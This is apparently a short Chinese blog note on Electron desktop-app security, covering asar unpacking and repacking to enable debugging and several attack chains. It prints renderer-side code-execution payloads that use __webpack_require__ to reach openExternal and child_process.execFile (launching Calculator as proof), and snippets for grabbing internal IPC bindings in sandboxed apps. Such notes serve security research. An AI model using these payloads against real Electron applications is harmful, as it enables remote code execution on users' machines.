Electron的安全问题
前言:Electron的安全问题的笔记,然后再举例一个实战Electron挖掘到的一个漏洞
参考文章:https://www.electronjs.org/docs/latest/tutorial/security
参考文章:https://github.com/pd4d10/debugtron
参考文章:https://github.com/Just-Hack-For-Fun/Electron-Security
什么是Electron
Electron是由Github开发的一个构建跨平台桌面应用程序的开源框架,通过将 Chromium和Node.js合并到同一个运行环境中,可以打包成Windows、Linux、Mac系统下 的应用程序。 Electron平台用Javascript把UI和后端逻辑打通,后台主进程使用NodeJs丰富的API完 成复杂耗时的逻辑,而UI进程则借助Chrome渲染HTML完成交互。
如何查看electron的版本信息
项目开启调试模式,接着在控制台执行window.electron.process即可直接看到对应electron和chrome的版本信息,如下图所示

反编译
1.安装asar
npm install -g asar
2.命令行中解压asar文件
asar extract app.asar ./app
3.命令行中重新打包asar文件
asar pack ./app app.asar
手动开启调试模式
asar extract app.asar ./app
然后进行修改

重新打包
asar pack ./app app.asar

自定义协议protocol攻击链路
x
原型链污染IPC模块攻击链路
Electron >14
主进程IPC存在错误配置,通过进程间通信IPC,进行RCE
利用原生__webpack_require__命令执行
无沙箱的情况下,获取openExternal直接执行系统命令
window.__webpack_require__('./lib/common/api/shell.ts').default.openExternal('file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')
window.__webpack_require__("module")._load("child_process").execFile("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
有沙箱的情况下,获取ipc,通过主进程的错误配置RCE
ipc = __webpack_require__('./lib/renderer/ipc-renderer-internal.ts').ipcRendererInternal
a=__webpack_require__('./node modules/process/browser.is')._linkedBinding('electron_renderer_ipc')
利用开发预加载preload函数命令执行
x

浙公网安备 33010602011771号